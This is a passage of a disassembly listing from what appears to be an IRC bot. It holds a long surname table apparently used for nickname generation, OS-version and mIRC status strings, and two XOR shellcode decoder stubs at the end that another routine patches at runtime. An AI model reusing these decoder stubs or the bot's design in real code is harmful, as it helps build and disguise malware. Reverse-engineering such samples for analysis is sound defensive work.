aPoincaire	db 'Poincaire',0        ; DATA XREF: .nsp0:00446158o
		align 4
aPointer	db 'Pointer',0          ; DATA XREF: .nsp0:0044615Co
aPoirier	db 'Poirier',0          ; DATA XREF: .nsp0:00446160o
aPolak		db 'Polak',0            ; DATA XREF: .nsp0:00446164o
		align 4
aPolanyi	db 'Polanyi',0          ; DATA XREF: .nsp0:00446168o
aPolitis	db 'Politis',0          ; DATA XREF: .nsp0:0044616Co
aPoma		db 'Poma',0             ; DATA XREF: .nsp0:00446170o
		align 4
aPoolman	db 'Poolman',0          ; DATA XREF: .nsp0:00446174o
aPowers		db 'Powers',0           ; DATA XREF: .nsp0:00446178o
		align 4
aPresper	db 'Presper',0          ; DATA XREF: .nsp0:0044617Co
aPreucel	db 'Preucel',0          ; DATA XREF: .nsp0:00446180o
aPrevost	db 'Prevost',0          ; DATA XREF: .nsp0:00446184o
aPritchard	db 'Pritchard',0        ; DATA XREF: .nsp0:00446188o
		align 10h
aPritz		db 'Pritz',0            ; DATA XREF: .nsp0:0044618Co
		align 4
aProietti	db 'Proietti',0         ; DATA XREF: .nsp0:00446190o
		align 4
aProthrowStith	db 'Prothrow-Stith',0   ; DATA XREF: .nsp0:00446194o
		align 4
aPuccia		db 'Puccia',0           ; DATA XREF: .nsp0:00446198o
		align 4
aPugh		db 'Pugh',0             ; DATA XREF: .nsp0:0044619Co
		align 4
aPynchon	db 'Pynchon',0          ; DATA XREF: .nsp0:004461A0o
aQuaday		db 'Quaday',0           ; DATA XREF: .nsp0:004461A4o
		align 4
aQuetin		db 'Quetin',0           ; DATA XREF: .nsp0:004461A8o
		align 4
aRabe		db 'Rabe',0             ; DATA XREF: .nsp0:004461ACo
		align 4
aRabkin		db 'Rabkin',0           ; DATA XREF: .nsp0:004461B0o
		align 4
aRadeke		db 'Radeke',0           ; DATA XREF: .nsp0:004461B4o
		align 4
aRajagopalan	db 'Rajagopalan',0      ; DATA XREF: .nsp0:004461B8o
aRaney		db 'Raney',0            ; DATA XREF: .nsp0:004461BCo
		align 4
aRangan		db 'Rangan',0           ; DATA XREF: .nsp0:004461C0o
		align 10h
aRankin		db 'Rankin',0           ; DATA XREF: .nsp0:004461C4o
		align 4
aRapple		db 'Rapple',0           ; DATA XREF: .nsp0:004461C8o
		align 10h
aRayport	db 'Rayport',0          ; DATA XREF: .nsp0:004461CCo
aReddenTyler	db 'Redden-Tyler',0     ; DATA XREF: .nsp0:004461D0o
		align 4
aReedquist	db 'Reedquist',0        ; DATA XREF: .nsp0:004461D4o
		align 4
aCunningham	db 'Cunningham',0       ; DATA XREF: .nsp0:004461D8o
		align 10h
aReinold	db 'Reinold',0          ; DATA XREF: .nsp0:004461DCo
aRemak		db 'Remak',0            ; DATA XREF: .nsp0:004461E0o
		align 10h
aRenick		db 'Renick',0           ; DATA XREF: .nsp0:004461E4o
		align 4
aRepetto	db 'Repetto',0          ; DATA XREF: .nsp0:004461E8o
aResnik		db 'Resnik',0           ; DATA XREF: .nsp0:004461ECo
		align 4
aRhea		db 'Rhea',0             ; DATA XREF: .nsp0:004461F0o
		align 10h
aRichmond	db 'Richmond',0         ; DATA XREF: .nsp0:004461F4o
		align 4
aRielly		db 'Rielly',0           ; DATA XREF: .nsp0:004461F8o
		align 4
aRindos		db 'Rindos',0           ; DATA XREF: .nsp0:004461FCo
		align 4
aRineer		db 'Rineer',0           ; DATA XREF: .nsp0:00446200o
		align 4
aRish		db 'Rish',0             ; DATA XREF: .nsp0:00446204o
		align 4
aRivera		db 'Rivera',0           ; DATA XREF: .nsp0:00446208o
		align 4
aRobinson	db 'Robinson',0         ; DATA XREF: .nsp0:0044620Co
		align 10h
aRocha		db 'Rocha',0            ; DATA XREF: .nsp0:00446210o
		align 4
aRoesler	db 'Roesler',0          ; DATA XREF: .nsp0:00446214o
aRogers		db 'Rogers',0           ; DATA XREF: .nsp0:00446218o
		align 4
aRonen		db 'Ronen',0            ; DATA XREF: .nsp0:0044621Co
		align 10h
aRow		db 'Row',0              ; DATA XREF: .nsp0:00446220o
aRoyal		db 'Royal',0            ; DATA XREF: .nsp0:00446224o
		align 4
aRu		db 'Ru',0               ; DATA XREF: .nsp0:00446228o
		align 10h
aRuan		db 'Ruan',0             ; DATA XREF: .nsp0:0044622Co
		align 4
aRuderman	db 'Ruderman',0         ; DATA XREF: .nsp0:00446230o
		align 4
aRuescher	db 'Ruescher',0         ; DATA XREF: .nsp0:00446234o
		align 10h
aRush_0		db 'Rush',0             ; DATA XREF: .nsp0:00446238o
		align 4
aRyu		db 'Ryu',0              ; DATA XREF: .nsp0:0044623Co
aSabatello	db 'Sabatello',0        ; DATA XREF: .nsp0:00446240o
		align 4
aSadler		db 'Sadler',0           ; DATA XREF: .nsp0:00446244o
		align 10h
aSafire		db 'Safire',0           ; DATA XREF: .nsp0:00446248o
		align 4
aSahu		db 'Sahu',0             ; DATA XREF: .nsp0:0044624Co
		align 10h
aSali		db 'Sali',0             ; DATA XREF: .nsp0:00446250o
		align 4
aSamson		db 'Samson',0           ; DATA XREF: .nsp0:00446254o
		align 10h
aSanchezRamirez	db 'Sanchez-Ramirez',0  ; DATA XREF: .nsp0:00446258o
aSanna		db 'Sanna',0            ; DATA XREF: .nsp0:0044625Co
		align 4
aSapers		db 'Sapers',0           ; DATA XREF: .nsp0:00446260o
		align 10h
aSarin		db 'Sarin',0            ; DATA XREF: .nsp0:00446264o
		align 4
aSartore	db 'Sartore',0          ; DATA XREF: .nsp0:00446268o
aSase		db 'Sase',0             ; DATA XREF: .nsp0:0044626Co
		align 4
aSatin		db 'Satin',0            ; DATA XREF: .nsp0:00446270o
		align 10h
aSatta		db 'Satta',0            ; DATA XREF: .nsp0:00446274o
		align 4
aSatterthwaite	db 'Satterthwaite',0    ; DATA XREF: .nsp0:00446278o
		align 4
aSawtell	db 'Sawtell',0          ; DATA XREF: .nsp0:0044627Co
aSayied		db 'Sayied',0           ; DATA XREF: .nsp0:00446280o
		align 4
aScarponi	db 'Scarponi',0         ; DATA XREF: .nsp0:00446284o
		align 4
aScepan		db 'Scepan',0           ; DATA XREF: .nsp0:00446288o
		align 4
aScharf		db 'Scharf',0           ; DATA XREF: .nsp0:0044628Co
		align 4
aScharlemann	db 'Scharlemann',0      ; DATA XREF: .nsp0:00446290o
aScheiner	db 'Scheiner',0         ; DATA XREF: .nsp0:00446294o
		align 4
aSchiano	db 'Schiano',0          ; DATA XREF: .nsp0:00446298o
aSchifini	db 'Schifini',0         ; DATA XREF: .nsp0:0044629Co
		align 10h
aSchilling	db 'Schilling',0        ; DATA XREF: .nsp0:004462A0o
		align 4
aSchmitt	db 'Schmitt',0          ; DATA XREF: .nsp0:004462A4o
aSchossberger	db 'Schossberger',0     ; DATA XREF: .nsp0:004462A8o
		align 4
aSchuman	db 'Schuman',0          ; DATA XREF: .nsp0:004462ACo
aSchutte	db 'Schutte',0          ; DATA XREF: .nsp0:004462B0o
aSchuyler	db 'Schuyler',0         ; DATA XREF: .nsp0:004462B4o
		align 10h
aSchwan		db 'Schwan',0           ; DATA XREF: .nsp0:004462B8o
		align 4
aSchwickrath	db 'Schwickrath',0      ; DATA XREF: .nsp0:004462BCo
aScovel		db 'Scovel',0           ; DATA XREF: .nsp0:004462C0o
		align 4
aScudder	db 'Scudder',0          ; DATA XREF: .nsp0:004462C4o
aSeaton		db 'Seaton',0           ; DATA XREF: .nsp0:004462C8o
		align 4
aSeeber		db 'Seeber',0           ; DATA XREF: .nsp0:004462CCo
		align 4
aSegal		db 'Segal',0            ; DATA XREF: .nsp0:004462D0o
		align 4
aSekler		db 'Sekler',0           ; DATA XREF: .nsp0:004462D4o
		align 4
aSelvage	db 'Selvage',0          ; DATA XREF: .nsp0:004462D8o
aSen		db 'Sen',0              ; DATA XREF: .nsp0:004462DCo
aSennett	db 'Sennett',0          ; DATA XREF: .nsp0:004462E0o
aSeterdahl	db 'Seterdahl',0        ; DATA XREF: .nsp0:004462E4o
		align 4
aSexton		db 'Sexton',0           ; DATA XREF: .nsp0:004462E8o
		align 4
aSeyfert	db 'Seyfert',0          ; DATA XREF: .nsp0:004462ECo
aShaikh		db 'Shaikh',0           ; DATA XREF: .nsp0:004462F0o
		align 4
aShakis		db 'Shakis',0           ; DATA XREF: .nsp0:004462F4o
		align 4
aShankland	db 'Shankland',0        ; DATA XREF: .nsp0:004462F8o
		align 10h
aShanley	db 'Shanley',0          ; DATA XREF: .nsp0:004462FCo
aShar		db 'Shar',0             ; DATA XREF: .nsp0:00446300o
		align 10h
aShatrov	db 'Shatrov',0          ; DATA XREF: .nsp0:00446304o
aShavelson	db 'Shavelson',0        ; DATA XREF: .nsp0:00446308o
		align 4
aShea		db 'Shea',0             ; DATA XREF: .nsp0:0044630Co
		align 4
aSheats		db 'Sheats',0           ; DATA XREF: .nsp0:00446310o
		align 4
aShepherd	db 'Shepherd',0         ; DATA XREF: .nsp0:00446314o
		align 10h
aSheppard	db 'Sheppard',0         ; DATA XREF: .nsp0:00446318o
		align 4
aShepstone	db 'Shepstone',0        ; DATA XREF: .nsp0:0044631Co
		align 4
aShesko		db 'Shesko',0           ; DATA XREF: .nsp0:00446320o
		align 10h
aShia		db 'Shia',0             ; DATA XREF: .nsp0:00446324o
		align 4
aShibata	db 'Shibata',0          ; DATA XREF: .nsp0:00446328o
aShimon		db 'Shimon',0           ; DATA XREF: .nsp0:0044632Co
		align 4
aSiesto		db 'Siesto',0           ; DATA XREF: .nsp0:00446330o
		align 10h
aSigalot	db 'Sigalot',0          ; DATA XREF: .nsp0:00446334o
aSigini		db 'Sigini',0           ; DATA XREF: .nsp0:00446338o
		align 10h
aSigna		db 'Signa',0            ; DATA XREF: .nsp0:0044633Co
		align 4
aSilverman	db 'Silverman',0        ; DATA XREF: .nsp0:00446340o
		align 4
aSilvetti	db 'Silvetti',0         ; DATA XREF: .nsp0:00446344o
		align 10h
aSinsabaugh	db 'Sinsabaugh',0       ; DATA XREF: .nsp0:00446348o
		align 4
aSirilli	db 'Sirilli',0          ; DATA XREF: .nsp0:0044634Co
aSites		db 'Sites',0            ; DATA XREF: .nsp0:00446350o
		align 4
aSkane		db 'Skane',0            ; DATA XREF: .nsp0:00446354o
		align 4
aSkerry		db 'Skerry',0           ; DATA XREF: .nsp0:00446358o
		align 4
aSkoda		db 'Skoda',0            ; DATA XREF: .nsp0:0044635Co
		align 4
aSloan		db 'Sloan',0            ; DATA XREF: .nsp0:00446360o
		align 4
aSlowe		db 'Slowe',0            ; DATA XREF: .nsp0:00446364o
		align 4
aSmilow		db 'Smilow',0           ; DATA XREF: .nsp0:00446368o
		align 4
aSniffen	db 'Sniffen',0          ; DATA XREF: .nsp0:0044636Co
aSnodgrass	db 'Snodgrass',0        ; DATA XREF: .nsp0:00446370o
		align 10h
aSocolow	db 'Socolow',0          ; DATA XREF: .nsp0:00446374o
aSolon		db 'Solon',0            ; DATA XREF: .nsp0:00446378o
		align 10h
aSomers		db 'Somers',0           ; DATA XREF: .nsp0:0044637Co
		align 4
aSommariva	db 'Sommariva',0        ; DATA XREF: .nsp0:00446380o
		align 4
aSorabella	db 'Sorabella',0        ; DATA XREF: .nsp0:00446384o
		align 10h
aSorg		db 'Sorg',0             ; DATA XREF: .nsp0:00446388o
		align 4
aSottak		db 'Sottak',0           ; DATA XREF: .nsp0:0044638Co
		align 10h
aSoukup		db 'Soukup',0           ; DATA XREF: .nsp0:00446390o
		align 4
aSoule		db 'Soule',0            ; DATA XREF: .nsp0:00446394o
		align 10h
aSoultanian	db 'Soultanian',0       ; DATA XREF: .nsp0:00446398o
		align 4
aSpanier	db 'Spanier',0          ; DATA XREF: .nsp0:0044639Co
aSparrow	db 'Sparrow',0          ; DATA XREF: .nsp0:004463A0o
aSpaulding	db 'Spaulding',0        ; DATA XREF: .nsp0:004463A4o
		align 4
aSpeizer	db 'Speizer',0          ; DATA XREF: .nsp0:004463A8o
aSpence		db 'Spence',0           ; DATA XREF: .nsp0:004463ACo
		align 4
aSperber	db 'Sperber',0          ; DATA XREF: .nsp0:004463B0o
aSpicer		db 'Spicer',0           ; DATA XREF: .nsp0:004463B4o
		align 4
aSpiegelhalter	db 'Spiegelhalter',0    ; DATA XREF: .nsp0:004463B8o
		align 4
aSpiliotis	db 'Spiliotis',0        ; DATA XREF: .nsp0:004463BCo
		align 4
aSpinrad	db 'Spinrad',0          ; DATA XREF: .nsp0:004463C0o
aStmartin	db 'StMartin',0         ; DATA XREF: .nsp0:004463C4o
		align 4
aStalvey	db 'Stalvey',0          ; DATA XREF: .nsp0:004463C8o
aStam		db 'Stam',0             ; DATA XREF: .nsp0:004463CCo
		align 4
aStang		db 'Stang',0            ; DATA XREF: .nsp0:004463D0o
		align 10h
aStassinopolus	db 'Stassinopolus',0    ; DATA XREF: .nsp0:004463D4o
		align 10h
aStates		db 'States',0           ; DATA XREF: .nsp0:004463D8o
		align 4
aStatlender	db 'Statlender',0       ; DATA XREF: .nsp0:004463DCo
		align 4
aStefani	db 'Stefani',0          ; DATA XREF: .nsp0:004463E0o
aSteiner	db 'Steiner',0          ; DATA XREF: .nsp0:004463E4o
aStephanian	db 'Stephanian',0       ; DATA XREF: .nsp0:004463E8o
		align 10h
aStepniewska	db 'Stepniewska',0      ; DATA XREF: .nsp0:004463ECo
aStewartOaten	db 'Stewart-Oaten',0    ; DATA XREF: .nsp0:004463F0o
		align 4
aStiepock	db 'Stiepock',0         ; DATA XREF: .nsp0:004463F4o
		align 4
aStillwell	db 'Stillwell',0        ; DATA XREF: .nsp0:004463F8o
		align 4
aStock		db 'Stock',0            ; DATA XREF: .nsp0:004463FCo
		align 4
aStockton	db 'Stockton',0         ; DATA XREF: .nsp0:00446400o
		align 4
aStockwell	db 'Stockwell',0        ; DATA XREF: .nsp0:00446404o
		align 4
aStolzenberg	db 'Stolzenberg',0      ; DATA XREF: .nsp0:00446408o
aStonich	db 'Stonich',0          ; DATA XREF: .nsp0:0044640Co
aStorer		db 'Storer',0           ; DATA XREF: .nsp0:00446410o
		align 10h
aStott		db 'Stott',0            ; DATA XREF: .nsp0:00446414o
		align 4
aStrange_0	db 'Strange',0          ; DATA XREF: .nsp0:00446418o
aStrauch	db 'Strauch',0          ; DATA XREF: .nsp0:0044641Co
aStreiff	db 'Streiff',0          ; DATA XREF: .nsp0:00446420o
aStringer	db 'Stringer',0         ; DATA XREF: .nsp0:00446424o
		align 4
aSullivan	db 'Sullivan',0         ; DATA XREF: .nsp0:00446428o
		align 4
aSumner		db 'Sumner',0           ; DATA XREF: .nsp0:0044642Co
		align 10h
aSuo		db 'Suo',0              ; DATA XREF: .nsp0:00446430o
aSurdam		db 'Surdam',0           ; DATA XREF: .nsp0:00446434o
		align 4
aSweeting	db 'Sweeting',0         ; DATA XREF: .nsp0:00446438o
		align 4
aSweetser	db 'Sweetser',0         ; DATA XREF: .nsp0:0044643Co
		align 4
aSwindle	db 'Swindle',0          ; DATA XREF: .nsp0:00446440o
aTagiuri	db 'Tagiuri',0          ; DATA XREF: .nsp0:00446444o
aTai		db 'Tai',0              ; DATA XREF: .nsp0:00446448o
aTalaugon	db 'Talaugon',0         ; DATA XREF: .nsp0:0044644Co
		align 4
aTambiah	db 'Tambiah',0          ; DATA XREF: .nsp0:00446450o
aTandler	db 'Tandler',0          ; DATA XREF: .nsp0:00446454o
aTanowitz	db 'Tanowitz',0         ; DATA XREF: .nsp0:00446458o
		align 10h
aTatar		db 'Tatar',0            ; DATA XREF: .nsp0:0044645Co
		align 4
aTaveras	db 'Taveras',0          ; DATA XREF: .nsp0:00446460o
aTawn		db 'Tawn',0             ; DATA XREF: .nsp0:00446464o
		align 4
aTcherepnin	db 'Tcherepnin',0       ; DATA XREF: .nsp0:00446468o
		align 4
aTeague		db 'Teague',0           ; DATA XREF: .nsp0:0044646Co
		align 4
aTemes		db 'Temes',0            ; DATA XREF: .nsp0:00446470o
		align 4
aTemmer		db 'Temmer',0           ; DATA XREF: .nsp0:00446474o
		align 4
aTenney		db 'Tenney',0           ; DATA XREF: .nsp0:00446478o
		align 4
aTerracini	db 'Terracini',0        ; DATA XREF: .nsp0:0044647Co
		align 10h
aThan		db 'Than',0             ; DATA XREF: .nsp0:00446480o
		align 4
aThavaneswaran	db 'Thavaneswaran',0    ; DATA XREF: .nsp0:00446484o
		align 4
aTheodos	db 'Theodos',0          ; DATA XREF: .nsp0:00446488o
aThibault	db 'Thibault',0         ; DATA XREF: .nsp0:0044648Co
		align 4
aThisted	db 'Thisted',0          ; DATA XREF: .nsp0:00446490o
aThomsen	db 'Thomsen',0          ; DATA XREF: .nsp0:00446494o
aThroop		db 'Throop',0           ; DATA XREF: .nsp0:00446498o
		align 4
aTierney	db 'Tierney',0          ; DATA XREF: .nsp0:0044649Co
aTill		db 'Till',0             ; DATA XREF: .nsp0:004464A0o
		align 4
aTimmons	db 'Timmons',0          ; DATA XREF: .nsp0:004464A4o
aTofallis	db 'Tofallis',0         ; DATA XREF: .nsp0:004464A8o
		align 4
aTollestrup	db 'Tollestrup',0       ; DATA XREF: .nsp0:004464ACo
		align 4
aTolls		db 'Tolls',0            ; DATA XREF: .nsp0:004464B0o
		align 4
aTolman		db 'Tolman',0           ; DATA XREF: .nsp0:004464B4o
		align 4
aTomford	db 'Tomford',0          ; DATA XREF: .nsp0:004464B8o
aToomer		db 'Toomer',0           ; DATA XREF: .nsp0:004464BCo
		align 4
aTopulos	db 'Topulos',0          ; DATA XREF: .nsp0:004464C0o
aTorresi	db 'Torresi',0          ; DATA XREF: .nsp0:004464C4o
aTorske		db 'Torske',0           ; DATA XREF: .nsp0:004464C8o
		align 4
aTowler		db 'Towler',0           ; DATA XREF: .nsp0:004464CCo
		align 4
aToye		db 'Toye',0             ; DATA XREF: .nsp0:004464D0o
		align 4
aTraebert	db 'Traebert',0         ; DATA XREF: .nsp0:004464D4o
		align 4
aTrenga		db 'Trenga',0           ; DATA XREF: .nsp0:004464D8o
		align 10h
aTrewin		db 'Trewin',0           ; DATA XREF: .nsp0:004464DCo
		align 4
aTringali	db 'Tringali',0         ; DATA XREF: .nsp0:004464E0o
		align 4
aTroiani	db 'Troiani',0          ; DATA XREF: .nsp0:004464E4o
aTroy		db 'Troy',0             ; DATA XREF: .nsp0:004464E8o
		align 4
aTruss		db 'Truss',0            ; DATA XREF: .nsp0:004464ECo
		align 4
aTsiatis	db 'Tsiatis',0          ; DATA XREF: .nsp0:004464F0o
aTsomides	db 'Tsomides',0         ; DATA XREF: .nsp0:004464F4o
		align 10h
aTsukurov	db 'Tsukurov',0         ; DATA XREF: .nsp0:004464F8o
		align 4
aTuck		db 'Tuck',0             ; DATA XREF: .nsp0:004464FCo
		align 4
aTudge		db 'Tudge',0            ; DATA XREF: .nsp0:00446500o
		align 4
aTukan		db 'Tukan',0            ; DATA XREF: .nsp0:00446504o
		align 4
aTurano		db 'Turano',0           ; DATA XREF: .nsp0:00446508o
		align 4
aTurek		db 'Turek',0            ; DATA XREF: .nsp0:0044650Co
		align 4
aTuttle_0	db 'Tuttle',0           ; DATA XREF: .nsp0:00446510o
		align 4
aTwells		db 'Twells',0           ; DATA XREF: .nsp0:00446514o
		align 4
aTzamarias	db 'Tzamarias',0        ; DATA XREF: .nsp0:00446518o
		align 10h
aUllman		db 'Ullman',0           ; DATA XREF: .nsp0:0044651Co
		align 4
aUntermeyer	db 'Untermeyer',0       ; DATA XREF: .nsp0:00446520o
		align 4
aUpsdell	db 'Upsdell',0          ; DATA XREF: .nsp0:00446524o
aUrban		db 'Urban',0            ; DATA XREF: .nsp0:00446528o
		align 4
aUrdangBrown	db 'Urdang-Brown',0     ; DATA XREF: .nsp0:0044652Co
		align 4
aUsdan		db 'Usdan',0            ; DATA XREF: .nsp0:00446530o
		align 4
aUzuner		db 'Uzuner',0           ; DATA XREF: .nsp0:00446534o
		align 4
aVacca		db 'Vacca',0            ; DATA XREF: .nsp0:00446538o
		align 4
aWaite		db 'Waite',0            ; DATA XREF: .nsp0:0044653Co
		align 4
aValberg	db 'Valberg',0          ; DATA XREF: .nsp0:00446540o
aValencia	db 'Valencia',0         ; DATA XREF: .nsp0:00446544o
		align 4
aWales		db 'Wales',0            ; DATA XREF: .nsp0:00446548o
		align 10h
aWallenberg	db 'Wallenberg',0       ; DATA XREF: .nsp0:0044654Co
		align 4
aWalter		db 'Walter',0           ; DATA XREF: .nsp0:00446550o
		align 4
aVanallen	db 'vanAllen',0         ; DATA XREF: .nsp0:00446554o
		align 10h
aVanzwet	db 'VanZwet',0          ; DATA XREF: .nsp0:00446558o
aVandenberg	db 'Vandenberg',0       ; DATA XREF: .nsp0:0044655Co
		align 4
aVanheeckeren	db 'Vanheeckeren',0     ; DATA XREF: .nsp0:00446560o
		align 4
aWarshafsky	db 'Warshafsky',0       ; DATA XREF: .nsp0:00446564o
		align 10h
aWasowska	db 'Wasowska',0         ; DATA XREF: .nsp0:00446568o
		align 4
aVasquez	db 'Vasquez',0          ; DATA XREF: .nsp0:0044656Co
aWaugh		db 'Waugh',0            ; DATA XREF: .nsp0:00446570o
		align 4
aWeighart	db 'Weighart',0         ; DATA XREF: .nsp0:00446574o
		align 4
aWeingarten	db 'Weingarten',0       ; DATA XREF: .nsp0:00446578o
		align 4
aWeinhaus	db 'Weinhaus',0         ; DATA XREF: .nsp0:0044657Co
		align 10h
aWeissbourd	db 'Weissbourd',0       ; DATA XREF: .nsp0:00446580o
		align 4
aWeissman	db 'Weissman',0         ; DATA XREF: .nsp0:00446584o
		align 4
aVelasquez	db 'Velasquez',0        ; DATA XREF: .nsp0:00446588o
		align 4
aWelles		db 'Welles',0           ; DATA XREF: .nsp0:0044658Co
		align 4
aWelsh		db 'Welsh',0            ; DATA XREF: .nsp0:00446590o
		align 4
aWengret	db 'Wengret',0          ; DATA XREF: .nsp0:00446594o
aVenne		db 'Venne',0            ; DATA XREF: .nsp0:00446598o
		align 4
aVerghese	db 'Verghese',0         ; DATA XREF: .nsp0:0044659Co
		align 10h
aWescott	db 'Wescott',0          ; DATA XREF: .nsp0:004465A0o
aWetzel		db 'Wetzel',0           ; DATA XREF: .nsp0:004465A4o
		align 10h
aWhately	db 'Whately',0          ; DATA XREF: .nsp0:004465A8o
aWhilton	db 'Whilton',0          ; DATA XREF: .nsp0:004465ACo
aWhite_0	db 'White',0            ; DATA XREF: .nsp0:004465B0o
		align 4
aWhitla		db 'Whitla',0           ; DATA XREF: .nsp0:004465B4o
		align 10h
aWhittaker	db 'Whittaker',0        ; DATA XREF: .nsp0:004465B8o
		align 4
aViana		db 'Viana',0            ; DATA XREF: .nsp0:004465BCo
		align 4
aViano		db 'Viano',0            ; DATA XREF: .nsp0:004465C0o
		align 4
aWiedersheim	db 'Wiedersheim',0      ; DATA XREF: .nsp0:004465C4o
aWiener		db 'Wiener',0           ; DATA XREF: .nsp0:004465C8o
		align 10h
aViens		db 'Viens',0            ; DATA XREF: .nsp0:004465CCo
		align 4
aVignola	db 'Vignola',0          ; DATA XREF: .nsp0:004465D0o
aWilder		db 'Wilder',0           ; DATA XREF: .nsp0:004465D4o
		align 4
aWilhelm	db 'Wilhelm',0          ; DATA XREF: .nsp0:004465D8o
aWilk		db 'Wilk',0             ; DATA XREF: .nsp0:004465DCo
		align 4
aWilkin		db 'Wilkin',0           ; DATA XREF: .nsp0:004465E0o
		align 10h
aWilkinson	db 'Wilkinson',0        ; DATA XREF: .nsp0:004465E4o
		align 4
aVillarreal	db 'Villarreal',0       ; DATA XREF: .nsp0:004465E8o
		align 4
aWillstatter	db 'Willstatter',0      ; DATA XREF: .nsp0:004465ECo
aWilson		db 'Wilson',0           ; DATA XREF: .nsp0:004465F0o
		align 4
aVitali		db 'Vitali',0           ; DATA XREF: .nsp0:004465F4o
		align 4
aViviani	db 'Viviani',0          ; DATA XREF: .nsp0:004465F8o
aVoigt		db 'Voigt',0            ; DATA XREF: .nsp0:004465FCo
		align 4
aWolk		db 'Wolk',0             ; DATA XREF: .nsp0:00446600o
		align 4
aVonhoffman	db 'VonHoffman',0       ; DATA XREF: .nsp0:00446604o
		align 4
aWoo		db 'Woo',0              ; DATA XREF: .nsp0:00446608o
aWooden		db 'Wooden',0           ; DATA XREF: .nsp0:0044660Co
		align 4
aWoods		db 'Woods',0            ; DATA XREF: .nsp0:00446610o
		align 4
aWoodsPowell	db 'Woods-Powell',0     ; DATA XREF: .nsp0:00446614o
		align 4
aVorhaus	db 'Vorhaus',0          ; DATA XREF: .nsp0:00446618o
aVotey		db 'Votey',0            ; DATA XREF: .nsp0:0044661Co
		align 4
aYacono		db 'Yacono',0           ; DATA XREF: .nsp0:00446620o
		align 4
aYamane		db 'Yamane',0           ; DATA XREF: .nsp0:00446624o
		align 4
aYankee_0	db 'Yankee',0           ; DATA XREF: .nsp0:00446628o
		align 4
aYarchuk	db 'Yarchuk',0          ; DATA XREF: .nsp0:0044662Co
aYates		db 'Yates',0            ; DATA XREF: .nsp0:00446630o
		align 4
aYbarra		db 'Ybarra',0           ; DATA XREF: .nsp0:00446634o
		align 4
aYedidia	db 'Yedidia',0          ; DATA XREF: .nsp0:00446638o
aYesson		db 'Yesson',0           ; DATA XREF: .nsp0:0044663Co
		align 4
aYetiv		db 'Yetiv',0            ; DATA XREF: .nsp0:00446640o
		align 4
aYoffe		db 'Yoffe',0            ; DATA XREF: .nsp0:00446644o
		align 4
aYoo		db 'Yoo',0              ; DATA XREF: .nsp0:00446648o
aYoukSee	db 'Youk-See',0         ; DATA XREF: .nsp0:0044664Co
		align 4
aYu		db 'Yu',0               ; DATA XREF: .nsp0:00446650o
		align 10h
aZachary	db 'Zachary',0          ; DATA XREF: .nsp0:00446654o
aZahedi		db 'Zahedi',0           ; DATA XREF: .nsp0:00446658o
		align 10h
aZangwill	db 'Zangwill',0         ; DATA XREF: .nsp0:0044665Co
		align 4
aZegans		db 'Zegans',0           ; DATA XREF: .nsp0:00446660o
		align 4
aZerbini	db 'Zerbini',0          ; DATA XREF: .nsp0:00446664o
aZoldak		db 'Zoldak',0           ; DATA XREF: .nsp0:00446668o
		align 4
aZucconi	db 'Zucconi',0          ; DATA XREF: .nsp0:0044666Co
aZurn		db 'Zurn',0             ; DATA XREF: .nsp0:00446670o
		align 4
aZwiers		db 'Zwiers',0           ; DATA XREF: .nsp0:00446674o
		align 4
aZytowski	db 'Zytowski',0         ; DATA XREF: .nsp0:00446678o
		align 4
aS_28		db '%s',0               ; DATA XREF: sub_40A112+27o
		align 4
aSI_0		db '%s%i',0             ; DATA XREF: sub_40A112+4Eo
		align 4
aS_29		db '%s',0               ; DATA XREF: .nsp0:0040A197o
		align 4
aSI_1		db '%s%i',0             ; DATA XREF: .nsp0:0040A1BEo
		align 10h
aPc_0		db 'PC',0               ; DATA XREF: .nsp0:0040A22Fo
		align 4
aPc_1		db 'PC',0               ; DATA XREF: .nsp0:0040A259o
		align 4
aPc_2		db 'PC',0               ; DATA XREF: .nsp0:0040A285o
		align 4
aSI_2		db '%s%i',0             ; DATA XREF: .nsp0:0040A2B0o
		align 4
aS_30		db '%s|',0              ; DATA XREF: .nsp0:0040A2FEo
aSI_3		db '%s%i',0             ; DATA XREF: .nsp0:0040A325o
		align 10h
a95		db '95',0               ; DATA XREF: .nsp0:0040A393o
		align 4
aNt		db 'NT',0               ; DATA XREF: .nsp0:0040A3A1o
		align 4
a98		db '98',0               ; DATA XREF: .nsp0:0040A3B1o
		align 4
aMe_0		db 'ME',0               ; DATA XREF: .nsp0:0040A3C1o
		align 10h
a2k		db '2K',0               ; DATA XREF: .nsp0:0040A3DAo
		align 4
aXp_1		db 'XP',0               ; DATA XREF: .nsp0:0040A3EAo
		align 4
a2k3		db '2K3',0              ; DATA XREF: .nsp0:0040A3F8o
a???_0		db '???',0              ; DATA XREF: .nsp0:loc_40A3FFo
aS_31		db '[%s]|',0            ; DATA XREF: .nsp0:0040A408o
		align 4
aSI_4		db '%s%i',0             ; DATA XREF: .nsp0:0040A42Fo
		align 10h
aMirc_0		db 'mIRC',0             ; DATA XREF: sub_40A44E+1Fo
		align 4
aM_0		db '[M]',0              ; DATA XREF: sub_40A44E+2Co
aDS		db '[%d]%s',0           ; DATA XREF: sub_40A44E+3Ao
		align 4
aMirc_1		db 'mIRC',0             ; DATA XREF: sub_40A44E:loc_40A49Do
		align 4
aM_1		db '[M]',0              ; DATA XREF: sub_40A44E+5Co
; ---------------------------------------------------------------------------


loc_449130:				; DATA XREF: sub_40A6F6+C4o
		jmp	short loc_449134
; ---------------------------------------------------------------------------


loc_449132:				; CODE XREF: .nsp0:loc_449134p
		jmp	short loc_449139
; ---------------------------------------------------------------------------


loc_449134:				; CODE XREF: .nsp0:loc_449130j
		call	loc_449132


loc_449139:				; CODE XREF: .nsp0:loc_449132j
		pop	ebx
		xor	ecx, ecx
; ---------------------------------------------------------------------------
		db 66h,	0B9h
word_44913E	dw 0FFFFh		; DATA XREF: sub_40A6F6+CCw
		db 80h,	73h, 0Eh
byte_449143	db 0FFh			; DATA XREF: sub_40A6F6+D3w
		dd 0F9E243h
; ---------------------------------------------------------------------------


loc_449148:				; DATA XREF: sub_40A6F6+A2o
		jmp	short loc_44914C
; ---------------------------------------------------------------------------


loc_44914A:				; CODE XREF: .nsp0:loc_44914Cp
		jmp	short loc_449151
; ---------------------------------------------------------------------------


loc_44914C:				; CODE XREF: .nsp0:loc_449148j
		call	loc_44914A


loc_449151:				; CODE XREF: .nsp0:loc_44914Aj
		pop	ebx
		xor	ecx, ecx
; ---------------------------------------------------------------------------
		db 0B1h
byte_449155	db 0FFh			; DATA XREF: sub_40A6F6+AAw
		dw 7380h
		db 0Ch
byte_449159	db 0FFh			; DATA XREF: sub_40A6F6+B0w
		dw 0E243h
		dd 0F9h
